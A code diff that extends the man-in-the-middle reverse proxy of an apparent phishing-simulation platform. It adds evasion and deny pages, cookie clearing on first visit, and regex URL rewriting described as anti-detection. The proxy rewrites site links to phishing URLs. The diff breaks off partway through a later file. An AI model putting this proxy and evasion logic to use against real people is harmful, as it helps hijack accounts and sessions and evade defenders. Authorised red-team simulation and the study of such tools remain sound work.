diff --git a/backend/app/server.go b/backend/app/server.go index 2e7a33e..231ef23 100644 --- a/backend/app/server.go +++ b/backend/app/server.go @@ -80,6 +80,7 @@ func NewServer( services.Campaign, services.Template, services.IPAllowList, + repositories.Option, ) // setup proxy session cleanup routine diff --git a/backend/proxy/proxy.go b/backend/proxy/proxy.go index 933994b..197eba4 100644 --- a/backend/proxy/proxy.go +++ b/backend/proxy/proxy.go @@ -106,6 +106,7 @@ type ProxyHandler struct { logger *zap.SugaredLogger sessions sync.Map // map[string]*ProxySession campaignRecipientSessions sync.Map // map[string]string (campaignRecipientID -> sessionID) + urlMappings sync.Map // map[string]string (rewritten URL -> original URL) PageRepository *repository.Page CampaignRecipientRepository *repository.CampaignRecipient CampaignRepository *repository.Campaign @@ -116,6 +117,7 @@ type ProxyHandler struct { CampaignService *service.Campaign TemplateService *service.Template IPAllowListService *service.IPAllowListService + OptionRepository *repository.Option cookieName string } @@ -131,7 +133,14 @@ func NewProxyHandler( campaignService *service.Campaign, templateService *service.Template, ipAllowListService *service.IPAllowListService, + optionRepo *repository.Option, ) *ProxyHandler { + // get proxy cookie name from database + cookieName := "ps" // fallback default + if opt, err := optionRepo.GetByKey(context.Background(), data.OptionKeyProxyCookieName); err == nil { + cookieName = opt.Value.String() + } + return &ProxyHandler{ logger: logger, PageRepository: pageRepo, @@ -144,7 +153,8 @@ func NewProxyHandler( CampaignService: campaignService, TemplateService: templateService, IPAllowListService: ipAllowListService, - cookieName: "ps", + OptionRepository: optionRepo, + cookieName: cookieName, } } @@ -158,6 +168,11 @@ func (m *ProxyHandler) HandleHTTPRequest(w http.ResponseWriter, req *http.Reques return err } + // check for URL rewrite and redirect if needed + if rewriteResp := m.checkAndApplyURLRewrite(req, reqCtx); rewriteResp != nil { + return m.writeResponse(w, rewriteResp) + } + // check ip filtering if we have a campaign recipient if reqCtx.CampaignRecipientID != nil { blocked, resp := m.checkIPFilter(req, reqCtx) @@ -276,27 +291,58 @@ func (m *ProxyHandler) processRequestWithContext(req *http.Request, reqCtx *Requ } reqURL := req.URL.String() + + // check for existing session first + sessionCookie, err := req.Cookie(m.cookieName) + if err == nil && m.isValidSessionCookie(sessionCookie.Value) { + reqCtx.SessionID = sessionCookie.Value + } + + // always create new session for initial MITM page visits with campaign recipient ID createSession := reqCtx.CampaignRecipientID != nil + // check if this has a valid state parameter (post-evasion request) + hasValidStateParameter := false + if createSession { + campaign, _, _, err := m.getCampaignInfo(req.Context(), reqCtx.CampaignRecipientID) + if err == nil { + templateID, err := campaign.TemplateID.Get() + if err == nil { + cTemplate, err := m.CampaignTemplateRepository.GetByID(req.Context(), &templateID, &repository.CampaignTemplateOption{ + WithIdentifier: true, + }) + if err == nil && cTemplate.StateIdentifier != nil { + stateParamKey := cTemplate.StateIdentifier.Name.MustGet() + encryptedParam := req.URL.Query().Get(stateParamKey) + if encryptedParam != "" { + campaignID, _ := campaign.ID.Get() + secret := utils.UUIDToSecret(&campaignID) + if decrypted, err := utils.Decrypt(encryptedParam, secret); err == nil { + hasValidStateParameter = decrypted != "deny" + } + } + } + } + } + } + + // check for deny pages first (for any campaign recipient ID) + if reqCtx.CampaignRecipientID != nil { + if resp := m.checkAndServeDenyPage(req, reqCtx); resp != nil { + return req, resp + } + } + // check for evasion/deny pages BEFORE session resolution for initial requests if createSession { // cleanup any existing session first m.cleanupExistingSession(reqCtx.CampaignRecipientID, reqURL) - // check if this is a deny request from evasion page - if resp := m.checkAndServeDenyPage(req, reqCtx); resp != nil { - return req, resp - } - - // check if we should serve an evasion page first - if resp := m.checkAndServeEvasionPage(req, reqCtx); resp != nil { - return req, resp - } - } else { - // check for existing session - sessionCookie, err := req.Cookie(m.cookieName) - if err == nil && m.isValidSessionCookie(sessionCookie.Value) { - reqCtx.SessionID = sessionCookie.Value + // check for evasion page only if no valid state parameter (initial request) + if !hasValidStateParameter { + if resp := m.checkAndServeEvasionPage(req, reqCtx); resp != nil { + return req, resp + } } } @@ -318,19 +364,24 @@ func (m *ProxyHandler) processRequestWithContext(req *http.Request, reqCtx *Requ } // handle requests without session - if reqCtx.SessionID == "" && !createSession { + if reqCtx.SessionID == "" && !createSession && reqCtx.CampaignRecipientID == nil { return m.prepareRequestWithoutSession(req, reqCtx.TargetDomain), nil } - // get or create session and populate context - err := m.resolveSessionContext(req, reqCtx, createSession) - if err != nil { - m.logger.Errorw("failed to resolve session context", "error", err) - return req, m.createServiceUnavailableResponse("Service temporarily unavailable") + // get or create session and populate context if we have campaign recipient ID or valid session + if reqCtx.CampaignRecipientID != nil || reqCtx.SessionID != "" { + err = m.resolveSessionContext(req, reqCtx, createSession) + if err != nil { + m.logger.Errorw("failed to resolve session context", "error", err) + return req, m.createServiceUnavailableResponse("Service temporarily unavailable") + } + + // apply session-based request processing + return m.applySessionToRequestWithContext(req, reqCtx), nil } - // apply session-based request processing - return m.applySessionToRequestWithContext(req, reqCtx), nil + // handle requests without campaign recipient ID or session + return m.prepareRequestWithoutSession(req, reqCtx.TargetDomain), nil } func (m *ProxyHandler) cleanupExistingSession(campaignRecipientID *uuid.UUID, reqURL string) { @@ -388,13 +439,48 @@ func (m *ProxyHandler) resolveSessionContext(req *http.Request, reqCtx *RequestC func (m *ProxyHandler) applySessionToRequestWithContext(req *http.Request, reqCtx *RequestContext) *http.Request { // handle initial request with campaign recipient id + if reqCtx.CampaignRecipientID != nil && reqCtx.SessionCreated { + + // always redirect to StartURL for new sessions (both initial and post-evasion) + // get proxy configuration to extract start url + ctx := req.Context() + proxyEntry, err := m.ProxyRepository.GetByID(ctx, reqCtx.Domain.ProxyID, &repository.ProxyOption{}) + if err == nil { + startURL, err := proxyEntry.StartURL.Get() + if err == nil { + // parse start url to get the target path and query + if parsedStartURL, err := url.Parse(startURL.String()); err == nil { + // use the path and query from start url for initial mitm visits + req.URL.Path = parsedStartURL.Path + req.URL.RawQuery = parsedStartURL.RawQuery + } + } + } + } + + // handle any request with campaign recipient id (initial or existing session) if reqCtx.CampaignRecipientID != nil { req.Host = reqCtx.Session.TargetDomain req.URL.Scheme = "https" req.URL.Host = reqCtx.Session.TargetDomain - // remove campaign recipient id from query params + // remove campaign parameters from query params q := req.URL.Query() q.Del(reqCtx.ParamName) + + // also remove state parameter if it exists + if reqCtx.Session.Campaign != nil { + templateID, err := reqCtx.Session.Campaign.TemplateID.Get() + if err == nil { + ctx := req.Context() + cTemplate, err := m.CampaignTemplateRepository.GetByID(ctx, &templateID, &repository.CampaignTemplateOption{ + WithIdentifier: true, + }) + if err == nil && cTemplate.StateIdentifier != nil { + stateParamKey := cTemplate.StateIdentifier.Name.MustGet() + q.Del(stateParamKey) + } + } + } req.URL.RawQuery = q.Encode() } else { // for subsequent requests, map to original host @@ -538,6 +624,8 @@ func (m *ProxyHandler) captureResponseDataWithContext(resp *http.Response, reqCt func (m *ProxyHandler) processResponseWithSessionContext(resp *http.Response, reqCtx *RequestContext) *http.Response { // set session cookie for new sessions if reqCtx.SessionCreated { + // clear all existing cookies for initial MITM visit to ensure fresh start + m.clearAllCookiesForInitialMitmVisit(resp, reqCtx) m.setSessionCookieWithContext(resp, reqCtx) } @@ -569,12 +657,14 @@ func (m *ProxyHandler) setSessionCookieWithContext(resp *http.Response, reqCtx * Secure: true, SameSite: http.SameSiteLaxMode, } + resp.Header.Add("Set-Cookie", cookie.String()) } func (m *ProxyHandler) copyCookieToResponse(sourceResp, targetResp *http.Response) { - if cookieHeader := sourceResp.Header.Get("Set-Cookie"); cookieHeader != "" { - targetResp.Header.Set("Set-Cookie", cookieHeader) + cookieHeaders := sourceResp.Header.Values("Set-Cookie") + for _, cookieHeader := range cookieHeaders { + targetResp.Header.Add("Set-Cookie", cookieHeader) } } @@ -672,6 +762,7 @@ func (m *ProxyHandler) rewriteResponseBodyWithContext(resp *http.Response, reqCt } body = m.patchUrls(reqCtx.ConfigMap, body, CONVERT_TO_PHISHING_URLS) + body = m.applyURLPathRewrites(body, reqCtx) body = m.applyCustomReplacements(body, reqCtx.Session) m.updateResponseBody(resp, body, wasCompressed) @@ -791,6 +882,7 @@ func (m *ProxyHandler) rewriteResponseBodyWithoutSessionContext(resp *http.Respo } body = m.patchUrls(config, body, CONVERT_TO_PHISHING_URLS) + body = m.applyURLPathRewritesWithoutSession(body, reqCtx) body = m.applyCustomReplacementsWithoutSession(body, config, reqCtx.TargetDomain) m.updateResponseBody(resp, body, wasCompressed) @@ -2076,6 +2168,9 @@ func (m *ProxyHandler) buildCampaignFlowRedirectURL(session *ProxySession, nextP if _, err := cTemplate.AfterLandingPageID.Get(); err == nil { usesTemplateDomain = true } + case "deny": + // deny pages should use template domain if available + usesTemplateDomain = true default: if redirectURL, err := cTemplate.AfterLandingPageRedirectURL.Get(); err == nil { if url := redirectURL.String(); len(url) > 0 { @@ -2215,6 +2310,18 @@ func (m *ProxyHandler) setProxyConfigDefaults(config *service.ProxyServiceConfig } } } + + // set defaults for domain access control + if domainConfig != nil && domainConfig.Access != nil { + // set default mode to private if not specified + if domainConfig.Access.Mode == "" { + domainConfig.Access.Mode = "private" + } + // set default deny action for private mode if not specified + if domainConfig.Access.Mode == "private" && domainConfig.Access.OnDeny == "" { + domainConfig.Access.OnDeny = "404" + } + } config.Hosts[domain] = domainConfig } @@ -2227,6 +2334,18 @@ func (m *ProxyHandler) setProxyConfigDefaults(config *service.ProxyServiceConfig } } } + + // set defaults for global access control + if config.Global != nil && config.Global.Access != nil { + // set default mode to private if not specified + if config.Global.Access.Mode == "" { + config.Global.Access.Mode = "private" + } + // set default deny action for private mode if not specified + if config.Global.Access.Mode == "private" && config.Global.Access.OnDeny == "" { + config.Global.Access.OnDeny = "404" + } + } } func (m *ProxyHandler) GetCookieName() string { @@ -2466,6 +2585,27 @@ func (m *ProxyHandler) createServiceUnavailableResponse(message string) *http.Re return resp } +func (m *ProxyHandler) clearAllCookiesForInitialMitmVisit(resp *http.Response, reqCtx *RequestContext) { + // clear all existing cookies by setting them to expire immediately + if resp.Request != nil { + for _, cookie := range resp.Request.Cookies() { + // create expired cookie to clear it + expiredCookie := &http.Cookie{ + Name: cookie.Name, + Value: "", + Path: "/", + Domain: reqCtx.PhishDomain, + Expires: time.Unix(0, 0), + MaxAge: -1, + HttpOnly: true, + Secure: true, + SameSite: http.SameSiteNoneMode, + } + resp.Header.Add("Set-Cookie", expiredCookie.String()) + } + } +} + func (m *ProxyHandler) writeResponse(w http.ResponseWriter, resp *http.Response) error { // check for nil response if resp == nil { @@ -2848,8 +2988,21 @@ func (m *ProxyHandler) checkAndServeEvasionPage(req *http.Request, reqCtx *Reque } } + // preserve the original URL without campaign parameters for post-evasion redirect + originalURL := req.URL.Path + if req.URL.RawQuery != "" { + // parse query params and remove campaign recipient ID + query := req.URL.Query() + if reqCtx.ParamName != "" { + query.Del(reqCtx.ParamName) + } + if len(query) > 0 { + originalURL += "?" + query.Encode() + } + } + // this is initial request with campaign recipient ID and no state parameter, serve evasion page - return m.serveEvasionPageResponseDirect(req, reqCtx, &evasionPageID, campaign, cTemplate) + return m.serveEvasionPageResponseDirect(req, reqCtx, &evasionPageID, campaign, cTemplate, originalURL) } // checkAndServeDenyPage checks if a deny page should be served and returns the response if so @@ -2868,6 +3021,7 @@ func (m *ProxyHandler) checkAndServeDenyPage(req *http.Request, reqCtx *RequestC ctx := req.Context() cTemplate, err := m.CampaignTemplateRepository.GetByID(ctx, &templateID, &repository.CampaignTemplateOption{ + WithDomain: true, WithIdentifier: true, }) if err != nil { @@ -2875,19 +3029,17 @@ func (m *ProxyHandler) checkAndServeDenyPage(req *http.Request, reqCtx *RequestC } // check if state parameter indicates deny - if cTemplate.StateIdentifier != nil { - stateParamKey := cTemplate.StateIdentifier.Name.MustGet() - encryptedParam := req.URL.Query().Get(stateParamKey) - if encryptedParam != "" { - campaignID, err := campaign.ID.Get() - if err != nil { - return nil - } - secret := utils.UUIDToSecret(&campaignID) - if decrypted, err := utils.Decrypt(encryptedParam, secret); err == nil { - if decrypted == "deny" { - return m.serveDenyPageResponseDirect(req, reqCtx, campaign) - } + stateParamKey := cTemplate.StateIdentifier.Name.MustGet() + encryptedParam := req.URL.Query().Get(stateParamKey) + if encryptedParam != "" { + campaignID, err := campaign.ID.Get() + if err != nil { + return nil + } + secret := utils.UUIDToSecret(&campaignID) + if decrypted, err := utils.Decrypt(encryptedParam, secret); err == nil { + if decrypted == "deny" { + return m.serveDenyPageResponseDirect(req, reqCtx, campaign, cTemplate) } } } @@ -2895,7 +3047,7 @@ func (m *ProxyHandler) checkAndServeDenyPage(req *http.Request, reqCtx *RequestC return nil } -func (m *ProxyHandler) serveEvasionPageResponseDirect(req *http.Request, reqCtx *RequestContext, evasionPageID *uuid.UUID, campaign *model.Campaign, cTemplate *model.CampaignTemplate) *http.Response { +func (m *ProxyHandler) serveEvasionPageResponseDirect(req *http.Request, reqCtx *RequestContext, evasionPageID *uuid.UUID, campaign *model.Campaign, cTemplate *model.CampaignTemplate, originalURL string) *http.Response { ctx := req.Context() evasionPage, err := m.PageRepository.GetByID(ctx, evasionPageID, &repository.PageOption{}) if err != nil { @@ -2918,7 +3070,7 @@ func (m *ProxyHandler) serveEvasionPageResponseDirect(req *http.Request, reqCtx nextPageType = data.PAGE_TYPE_LANDING } - htmlContent, err := m.renderEvasionPageTemplate(req, reqCtx, evasionPage, campaign, cTemplate, nextPageType) + htmlContent, err := m.renderEvasionPageTemplate(req, reqCtx, evasionPage, campaign, cTemplate, nextPageType, originalURL) if err != nil { m.logger.Errorw("failed to render evasion page template", "error", err) return nil @@ -2941,7 +3093,7 @@ func (m *ProxyHandler) serveEvasionPageResponseDirect(req *http.Request, reqCtx return resp } -func (m *ProxyHandler) serveDenyPageResponseDirect(req *http.Request, reqCtx *RequestContext, campaign *model.Campaign) *http.Response { +func (m *ProxyHandler) serveDenyPageResponseDirect(req *http.Request, reqCtx *RequestContext, campaign *model.Campaign, cTemplate *model.CampaignTemplate) *http.Response { denyPageID, err := campaign.DenyPageID.Get() if err != nil { // if no deny page configured, return 403 @@ -2955,6 +3107,32 @@ func (m *ProxyHandler) serveDenyPageResponseDirect(req *http.Request, reqCtx *Re return resp } + // check if we're on a mitm domain and should redirect to campaign template domain + if cTemplate != nil && cTemplate.Domain != nil { + currentDomainName := req.Host + templateDomainName, err := cTemplate.Domain.Name.Get() + if err == nil && currentDomainName != templateDomainName.String() { + // we're on mitm domain, redirect to campaign template domain + campaignID := campaign.ID.MustGet() + redirectURL := m.buildCampaignFlowRedirectURL(&ProxySession{ + CampaignRecipientID: reqCtx.CampaignRecipientID, + Campaign: campaign, + CampaignID: &campaignID, + }, "deny") + if redirectURL != "" { + resp := &http.Response{ + StatusCode: 302, + Header: make(http.Header), + Body: io.NopCloser(strings.NewReader("")), + } + resp.Header.Set("Location", redirectURL) + resp.Header.Set("Cache-Control", "no-cache, no-store, must-revalidate") + return resp + } + } + } + + // serve deny page directly (either on campaign template domain or as fallback) ctx := req.Context() denyPage, err := m.PageRepository.GetByID(ctx, &denyPageID, &repository.PageOption{}) if err != nil { @@ -2984,7 +3162,7 @@ func (m *ProxyHandler) serveDenyPageResponseDirect(req *http.Request, reqCtx *Re return resp } -func (m *ProxyHandler) renderEvasionPageTemplate(req *http.Request, reqCtx *RequestContext, page *model.Page, campaign *model.Campaign, cTemplate *model.CampaignTemplate, nextPageType string) (string, error) { +func (m *ProxyHandler) renderEvasionPageTemplate(req *http.Request, reqCtx *RequestContext, page *model.Page, campaign *model.Campaign, cTemplate *model.CampaignTemplate, nextPageType string, originalURL string) (string, error) { // get recipient ctx := req.Context() cRecipient, err := m.CampaignRecipientRepository.GetByID(ctx, reqCtx.CampaignRecipientID, &repository.CampaignRecipientOption{}) @@ -3062,8 +3240,7 @@ func (m *ProxyHandler) renderEvasionPageTemplate(req *http.Request, reqCtx *Requ RedirectURL: domain.RedirectURL.MustGet().String(), } - // use template service to render the page - urlPath := req.URL.Path + // use template service to render the page with preserved original URL buf, err := m.TemplateService.CreatePhishingPageWithCampaign( dbDomain, email, @@ -3072,7 +3249,7 @@ func (m *ProxyHandler) renderEvasionPageTemplate(req *http.Request, reqCtx *Requ htmlContent.String(), cTemplate, encryptedNextState, - urlPath, + originalURL, campaign, ) if err != nil { @@ -3185,7 +3362,7 @@ func (m *ProxyHandler) checkIPFilter(req *http.Request, reqCtx *RequestContext) if !allowed { // try to serve deny page if _, err := campaign.DenyPageID.Get(); err == nil { - resp := m.serveDenyPageResponseDirect(req, reqCtx, campaign) + resp := m.serveDenyPageResponseDirect(req, reqCtx, campaign, nil) return true, resp } @@ -3195,3 +3372,202 @@ func (m *ProxyHandler) checkIPFilter(req *http.Request, reqCtx *RequestContext) return false, nil } + +// checkAndApplyURLRewrite checks if the incoming request matches any URL rewrite rules +// and returns a redirect response if a match is found +func (m *ProxyHandler) checkAndApplyURLRewrite(req *http.Request, reqCtx *RequestContext) *http.Response { + // check if this is already a rewritten URL that we need to reverse map + originalURL := m.getReverseURLMapping(req.URL.Path, req.URL.RawQuery) + if originalURL != "" { + // this is a rewritten URL, update the request to use the original URL + m.applyReverseURLMapping(req, originalURL) + return nil + } + + // check for URL rewrite rules in domain config + var rewriteRules []service.ProxyServiceURLRewriteRule + if domainConfig, exists := reqCtx.ProxyConfig.Hosts[reqCtx.TargetDomain]; exists && domainConfig.RewriteURLs != nil { + rewriteRules = append(rewriteRules, domainConfig.RewriteURLs...) + } + + // check for URL rewrite rules in global config + if reqCtx.ProxyConfig.Global != nil && reqCtx.ProxyConfig.Global.RewriteURLs != nil { + rewriteRules = append(rewriteRules, reqCtx.ProxyConfig.Global.RewriteURLs...) + } + + // check each rewrite rule + for _, rule := range rewriteRules { + if matched, rewrittenURL := m.applyURLRewriteRule(req, rule); matched { + // store the mapping for reverse lookup + originalURL := req.URL.Path + if req.URL.RawQuery != "" { + originalURL += "?" + req.URL.RawQuery + } + m.storeURLMapping(rewrittenURL, originalURL) + + // create redirect response + return &http.Response{ + StatusCode: http.StatusFound, + Header: http.Header{ + "Location": []string{rewrittenURL}, + }, + Body: io.NopCloser(strings.NewReader("")), + } + } + } + + return nil +} + +// applyURLRewriteRule checks if a URL matches a rewrite rule and returns the rewritten URL +func (m *ProxyHandler) applyURLRewriteRule(req *http.Request, rule service.ProxyServiceURLRewriteRule) (bool, string) { + // compile regex pattern + pathRegex, err := regexp.Compile(rule.Find) + if err != nil { + m.logger.Errorw("invalid URL rewrite regex pattern", "pattern", rule.Find, "error", err) + return false, "" + } + + // check if path matches + if !pathRegex.MatchString(req.URL.Path) { + return false, "" + } + + // build rewritten URL + rewrittenPath := rule.Replace + rewrittenQuery := m.rewriteQueryParameters(req.URL.Query(), rule.Query, rule.Filter) + + // construct full rewritten URL + rewrittenURL := rewrittenPath + if rewrittenQuery != "" { + rewrittenURL += "?" + rewrittenQuery + } + + return true, rewrittenURL +} + +// rewriteQueryParameters applies query parameter mapping rules +func (m *ProxyHandler) rewriteQueryParameters(originalQuery url.Values, queryRules []service.ProxyServiceURLRewriteQueryParam, filter []string) string { + rewrittenQuery := url.Values{} + + // if filter list is empty, keep all parameters and apply mappings + if len(filter) == 0 { + // start with all original parameters + for key, values := range originalQuery { + rewrittenQuery[key] = values + } + + // apply parameter mappings + for _, rule := range queryRules { + if values, exists := originalQuery[rule.Find]; exists { + // remove the old key and add the new one + delete(rewrittenQuery, rule.Find) + rewrittenQuery[rule.Replace] = values + } + } + } else { + // only keep parameters in the filter list + for _, key := range filter { + if values, exists := originalQuery[key]; exists { + rewrittenQuery[key] = values + } + } + + // apply mappings only to filtered parameters + for _, rule := range queryRules { + if values, exists := originalQuery[rule.Find]; exists && contains(filter, rule.Find) { + // remove the old key and add the new one + delete(rewrittenQuery, rule.Find) + rewrittenQuery[rule.Replace] = values + } + } + } + + return rewrittenQuery.Encode() +} + +// contains checks if a string slice contains a specific string +func contains(slice []string, item string) bool { + for _, s := range slice { + if s == item { + return true + } + } + return false +} + +// storeURLMapping stores the mapping between rewritten and original URLs +func (m *ProxyHandler) storeURLMapping(rewrittenURL, originalURL string) { + m.urlMappings.Store(rewrittenURL, originalURL) +} + +// getReverseURLMapping gets the original URL for a rewritten URL +func (m *ProxyHandler) getReverseURLMapping(path, query string) string { + rewrittenURL := path + if query != "" { + rewrittenURL += "?" + query + } + + if originalURL, exists := m.urlMappings.Load(rewrittenURL); exists { + return originalURL.(string) + } + return "" +} + +// applyReverseURLMapping updates the request to use the original URL +func (m *ProxyHandler) applyReverseURLMapping(req *http.Request, originalURL string) { + // parse the original URL + parsedURL, err := url.Parse(originalURL) + if err != nil { + m.logger.Errorw("failed to parse original URL during reverse mapping", "url", originalURL, "error", err) + return + } + + // update request URL + req.URL.Path = parsedURL.Path + req.URL.RawQuery = parsedURL.RawQuery + req.RequestURI = req.URL.Path + if req.URL.RawQuery != "" { + req.RequestURI += "?" + req.URL.RawQuery + } +} + +// applyURLPathRewrites applies URL path rewriting to response body content +func (m *ProxyHandler) applyURLPathRewrites(body []byte, reqCtx *RequestContext) []byte { + // get URL rewrite rules from domain config + var rewriteRules []service.ProxyServiceURLRewriteRule + if domainConfig, exists := reqCtx.ProxyConfig.Hosts[reqCtx.TargetDomain]; exists && domainConfig.RewriteURLs != nil { + rewriteRules = append(rewriteRules, domainConfig.RewriteURLs...) + } + + // get URL rewrite rules from global config + if reqCtx.ProxyConfig.Global != nil && reqCtx.ProxyConfig.Global.RewriteURLs != nil { + rewriteRules = append(rewriteRules, reqCtx.ProxyConfig.Global.RewriteURLs...) + } + + // apply each rewrite rule to the response body + bodyStr := string(body) + for _, rule := range rewriteRules { + bodyStr = m.rewritePathsInContent(bodyStr, rule) + } + + return []byte(bodyStr) +} + +// applyURLPathRewritesWithoutSession applies URL path rewriting for requests without session +func (m *ProxyHandler) applyURLPathRewritesWithoutSession(body []byte, reqCtx *RequestContext) []byte { + return m.applyURLPathRewrites(body, reqCtx) +} + +// rewritePathsInContent rewrites URL paths in HTML/JS content according to rewrite rules +func (m *ProxyHandler) rewritePathsInContent(content string, rule service.ProxyServiceURLRewriteRule) string { + // compile regex pattern for finding URLs in content + pathRegex, err := regexp.Compile(rule.Find) + if err != nil { + m.logger.Errorw("invalid URL rewrite regex pattern", "pattern", rule.Find, "error", err) + return content + } + + // find and replace all occurrences of the original path with the rewritten path + return pathRegex.ReplaceAllString(content, rule.Replace) +} diff --git a/backend/service/campaign.go b/backend/service/campaign.go index c032631..2e23834 100644 --- a/backend/service/campaign.go +++ b/backend/service/campaign.go @@ -2794,7 +2794,12 @@ func (c *Campaign) GetLandingPageURLByCampaignRecipientID( return "", errs.Wrap(err) } baseURL = "https://" + phishingDomain - urlPath = parsedStartURL.Path + // use campaign template URLPath if available, otherwise fall back to proxy StartURL path + if templateURLPath, err := cTemplate.URLPath.Get(); err == nil && templateURLPath.String() != "" { + urlPath = templateURLPath.String() + } else { + urlPath = parsedStartURL.Path + } } } diff --git a/backend/service/proxy.go b/backend/service/proxy.go index 1f43e5d..e846ef4 100644 --- a/backend/service/proxy.go +++ b/backend/service/proxy.go @@ -40,20 +40,22 @@ type ProxyServiceConfig struct { // ProxyServiceDomainConfig represents configuration for a specific domain mapping type ProxyServiceDomainConfig struct { - To string `yaml:"to"` - Access *ProxyServiceAccessControl `yaml:"access,omitempty"` - Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"` - Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"` - Response []ProxyServiceResponseRule `yaml:"response,omitempty"` + To string `yaml:"to"` + Access *ProxyServiceAccessControl `yaml:"access,omitempty"` + Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"` + Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"` + Response []ProxyServiceResponseRule `yaml:"response,omitempty"` + RewriteURLs []ProxyServiceURLRewriteRule `yaml:"rewrite_urls,omitempty"` } // ProxyServiceRules represents capture and replace rules // ProxyServiceRules represents global rules that apply to all hosts type ProxyServiceRules struct { - Access *ProxyServiceAccessControl `yaml:"access,omitempty"` - Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"` - Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"` - Response []ProxyServiceResponseRule `yaml:"response,omitempty"` + Access *ProxyServiceAccessControl `yaml:"access,omitempty"` + Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"` + Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"` + Response []ProxyServiceResponseRule `yaml:"response,omitempty"` + RewriteURLs []ProxyServiceURLRewriteRule `yaml:"rewrite_urls,omitempty"` } // ProxyServiceAccessControl represents access control configuration @@ -156,6 +158,20 @@ type ProxyServiceReplaceRule struct { From string `yaml:"from,omitempty"` } +// ProxyServiceURLRewriteRule represents a URL rewrite rule for anti-detection +type ProxyServiceURLRewriteRule struct { + Find string `yaml:"find"` // regex pattern to match path + Replace string `yaml:"replace"` // replacement path + Query []ProxyServiceURLRewriteQueryParam `yaml:"query,omitempty"` + Filter []string `yaml:"filter,omitempty"` // query parameters to keep (if empty, keep all) +} + +// ProxyServiceURLRewriteQueryParam represents query parameter mapping +type ProxyServiceURLRewriteQueryParam struct { + Find string `yaml:"find"` // original parameter name + Replace string `yaml:"replace"` // new parameter name +} + // ProxyServiceResponseRule represents a response rule that allows custom responses for specific paths // // COMPLETE PROCESSING ORDER & PRECEDENCE: @@ -718,6 +734,10 @@ func (m *Proxy) validateProxyConfigForUpdate(ctx context.Context, proxy *model.P if err := m.validateReplaceRules(config.Global.Rewrite); err != nil { return err } + // validate global URL rewrite rules + if err := m.validateURLRewriteRules(config.Global.RewriteURLs); err != nil { + return err + } // validate global response rules if err := m.validateResponseRules(config.Global.Response); err != nil { return err @@ -833,6 +853,66 @@ func (m *Proxy) validateCaptureRules(captureRules []ProxyServiceCaptureRule) err return nil } +// validateURLRewriteRules validates URL rewrite rules configuration +func (m *Proxy) validateURLRewriteRules(urlRewriteRules []ProxyServiceURLRewriteRule) error { + for i, rule := range urlRewriteRules { + // validate find pattern is not empty + if rule.Find == "" { + return validate.WrapErrorWithField( + errors.New(fmt.Sprintf("URL rewrite rule at index %d must have a find pattern", i)), + "proxyConfig", + ) + } + + // validate regex pattern + if _, err := regexp.Compile(rule.Find); err != nil { + return validate.WrapErrorWithField( + errors.New(fmt.Sprintf("URL rewrite rule at index %d has invalid regex pattern: %s", i, err.Error())), + "proxyConfig", + ) + } + + // validate replace path is not empty + if rule.Replace == "" { + return validate.WrapErrorWithField( + errors.New(fmt.Sprintf("URL rewrite rule at index %d must have a replace path", i)), + "proxyConfig", + ) + } + + // validate query parameter mappings + queryParamNames := make(map[string]bool) + for j, queryParam := range rule.Query { + if queryParam.Find == "" { + return validate.WrapErrorWithField( + errors.New(fmt.Sprintf("URL rewrite rule at index %d, query param at index %d must have a find parameter name", i, j)), + "proxyConfig", + ) + } + if queryParam.Replace == "" { + return validate.WrapErrorWithField( + errors.New(fmt.Sprintf("URL rewrite rule at index %d, query param at index %d must have a replace parameter name", i, j)), + "proxyConfig", + ) + } + + // check for duplicate query parameter mappings + if queryParamNames[queryParam.Find] { + return validate.WrapErrorWithField( + errors.New(fmt.Sprintf("URL rewrite rule at index %d has duplicate query parameter mapping for '%s'", i, queryParam.Find)), + "proxyConfig", + ) + } + queryParamNames[queryParam.Find] = true + } + + // note: it's valid to both filter and map the same parameter + // the filter determines which parameters are allowed through, + // and mappings rename them during the process + } + return nil +} + // validateResponseRules validates response rules configuration func (m *Proxy) validateResponseRules(responseRules []ProxyServiceResponseRule) error { for i, rule := range responseRules { @@ -917,6 +997,18 @@ func (m *Proxy) setProxyConfigDefaults(config *ProxyServiceConfigYAML) { } } + // set defaults for domain access control + if domainConfig != nil && domainConfig.Access != nil { + // set default mode to private if not specified + if domainConfig.Access.Mode == "" { + domainConfig.Access.Mode = "private" + } + // set default deny action for private mode if not specified + if domainConfig.Access.Mode == "private" && domainConfig.Access.OnDeny == "" { + domainConfig.Access.OnDeny = "404" + } + } + // clean up rewrite rules based on engine type if domainConfig.Rewrite != nil { for i := range domainConfig.Rewrite { @@ -950,6 +1042,18 @@ func (m *Proxy) setProxyConfigDefaults(config *ProxyServiceConfigYAML) { } } } + // set defaults for global access control + if config.Global != nil && config.Global.Access != nil { + // set default mode to private if not specified + if config.Global.Access.Mode == "" { + config.Global.Access.Mode = "private" + } + // set default deny action for private mode if not specified + if config.Global.Access.Mode == "private" && config.Global.Access.OnDeny == "" { + config.Global.Access.OnDeny = "404" + } + } + // clean up global rewrite rules based on engine type if config.Global != nil && config.Global.Rewrite != nil { for i := range config.Global.Rewrite { @@ -1332,11 +1436,21 @@ func (m *Proxy) validateProxyConfig(ctx context.Context, proxy *model.Proxy) err return err } - // validate domain-specific rewrite rules + // validate domain-specific capture rules + if err := m.validateCaptureRules(domainConfig.Capture); err != nil { + return err + } + + // validate rewrite rules if err := m.validateReplaceRules(domainConfig.Rewrite); err != nil { return err } + // validate URL rewrite rules + if err := m.validateURLRewriteRules(domainConfig.RewriteURLs); err != nil { + return err + } + // validate response rules if err := m.validateResponseRules(domainConfig.Response); err != nil { return err @@ -1359,6 +1473,10 @@ func (m *Proxy) validateProxyConfig(ctx context.Context, proxy *model.Proxy) err if err := m.validateReplaceRules(config.Global.Rewrite); err != nil { return err } + // validate global URL rewrite rules + if err := m.validateURLRewriteRules(config.Global.RewriteURLs); err != nil { + return err + } // validate global response rules if err := m.validateResponseRules(config.Global.Response); err != nil { return err diff --git a/backend/service/templateService.go b/backend/service/templateService.go index e4e5c40..dc91909 100644 --- a/backend/service/templateService.go +++ b/backend/service/templateService.go @@ -7,6 +7,7 @@ import ( "html" "io" "math/rand" + "net/url" "strings" "text/template" "time" @@ -304,7 +305,28 